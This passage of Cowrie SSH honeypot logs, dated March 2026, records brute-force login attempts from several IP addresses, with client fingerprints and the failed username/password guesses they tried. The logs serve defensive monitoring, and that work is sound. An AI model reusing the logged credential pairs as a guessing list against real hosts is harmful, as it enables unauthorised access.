client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:43:35.508543Z","src_ip":"195.178.110.218","session":"02431c5ddb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:43:35.749469Z","src_ip":"195.178.110.218","session":"02431c5ddb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:43:36.827756Z","src_ip":"195.178.110.218","session":"02431c5ddb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":39158,"dst_ip":"159.203.135.109","dst_port":22,"session":"052b1504188e","protocol":"ssh","message":"New connection: 43.245.143.215:39158 (159.203.135.109:22) [session: 052b1504188e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:03.808703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:03.813304Z","src_ip":"43.245.143.215","session":"052b1504188e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:04.098283Z","src_ip":"43.245.143.215","session":"052b1504188e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"corepassword","message":"login attempt [core/corepassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:05.272135Z","src_ip":"43.245.143.215","session":"052b1504188e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:06.558972Z","src_ip":"43.245.143.215","session":"052b1504188e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":46998,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c925b3e7bf6","protocol":"ssh","message":"New connection: 157.15.59.121:46998 (10.17.0.5:22) [session: 2c925b3e7bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:32.667866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:32.671728Z","src_ip":"157.15.59.121","session":"2c925b3e7bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:32.889972Z","src_ip":"157.15.59.121","session":"2c925b3e7bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mycat","password":"mycat123","message":"login attempt [mycat/mycat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:33.798993Z","src_ip":"157.15.59.121","session":"2c925b3e7bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:35.021701Z","src_ip":"157.15.59.121","session":"2c925b3e7bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.110.123","src_port":36632,"dst_ip":"10.17.0.5","dst_port":22,"session":"20afe04eb6e5","protocol":"ssh","message":"New connection: 14.103.110.123:36632 (10.17.0.5:22) [session: 20afe04eb6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:44:39.774909Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":58700,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6bc16cff05f","protocol":"ssh","message":"New connection: 43.245.143.215:58700 (159.203.135.109:22) [session: b6bc16cff05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:22.734568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:22.739824Z","src_ip":"43.245.143.215","session":"b6bc16cff05f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:23.030058Z","src_ip":"43.245.143.215","session":"b6bc16cff05f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jon","password":"Jon123","message":"login attempt [jon/Jon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:24.222553Z","src_ip":"43.245.143.215","session":"b6bc16cff05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:25.515604Z","src_ip":"43.245.143.215","session":"b6bc16cff05f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60912,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57e39ebb3cd","protocol":"ssh","message":"New connection: 195.178.110.218:60912 (159.203.135.109:22) [session: a57e39ebb3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:26.730375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:26.735380Z","src_ip":"195.178.110.218","session":"a57e39ebb3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:26.815059Z","src_ip":"195.178.110.218","session":"a57e39ebb3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:27.054213Z","src_ip":"195.178.110.218","session":"a57e39ebb3cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:28.136736Z","src_ip":"195.178.110.218","session":"a57e39ebb3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":57190,"dst_ip":"159.203.135.109","dst_port":22,"session":"f96b33854345","protocol":"ssh","message":"New connection: 14.225.2.125:57190 (159.203.135.109:22) [session: f96b33854345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:39.609475Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:39.780358Z","src_ip":"14.103.110.123","session":"20afe04eb6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:39.880675Z","src_ip":"14.225.2.125","session":"f96b33854345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":57202,"dst_ip":"159.203.135.109","dst_port":22,"session":"34933fbf8f29","protocol":"ssh","message":"New connection: 14.225.2.125:57202 (159.203.135.109:22) [session: 34933fbf8f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:40.151443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:40.157653Z","src_ip":"14.225.2.125","session":"34933fbf8f29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:40.428367Z","src_ip":"14.225.2.125","session":"34933fbf8f29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dingy","password":"q1w2e3","message":"login attempt [dingy/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:41.250079Z","src_ip":"14.225.2.125","session":"34933fbf8f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:46:42.522571Z","src_ip":"14.225.2.125","session":"34933fbf8f29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":57154,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c4340c362b","protocol":"ssh","message":"New connection: 157.15.59.121:57154 (10.17.0.5:22) [session: a2c4340c362b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:47:44.544134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:47:44.548528Z","src_ip":"157.15.59.121","session":"a2c4340c362b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:47:44.777557Z","src_ip":"157.15.59.121","session":"a2c4340c362b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carla","password":"12345","message":"login attempt [carla/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:47:45.729054Z","src_ip":"157.15.59.121","session":"a2c4340c362b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:47:46.960413Z","src_ip":"157.15.59.121","session":"a2c4340c362b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":33416,"dst_ip":"159.203.135.109","dst_port":22,"session":"16f329739afe","protocol":"ssh","message":"New connection: 43.245.143.215:33416 (159.203.135.109:22) [session: 16f329739afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:34.270940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:34.275311Z","src_ip":"43.245.143.215","session":"16f329739afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:34.552498Z","src_ip":"43.245.143.215","session":"16f329739afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gc","password":"gcpassword","message":"login attempt [gc/gcpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:35.696587Z","src_ip":"43.245.143.215","session":"16f329739afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:36.976088Z","src_ip":"43.245.143.215","session":"16f329739afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43026,"dst_ip":"159.203.135.109","dst_port":22,"session":"28efbee80622","protocol":"ssh","message":"New connection: 195.178.110.218:43026 (159.203.135.109:22) [session: 28efbee80622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:55.425733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:55.430619Z","src_ip":"195.178.110.218","session":"28efbee80622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:55.511954Z","src_ip":"195.178.110.218","session":"28efbee80622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:55.750193Z","src_ip":"195.178.110.218","session":"28efbee80622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:48:56.830967Z","src_ip":"195.178.110.218","session":"28efbee80622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.99","src_port":54024,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d979562c37","protocol":"ssh","message":"New connection: 157.15.59.99:54024 (10.17.0.5:22) [session: c5d979562c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:50:06.270147Z"}
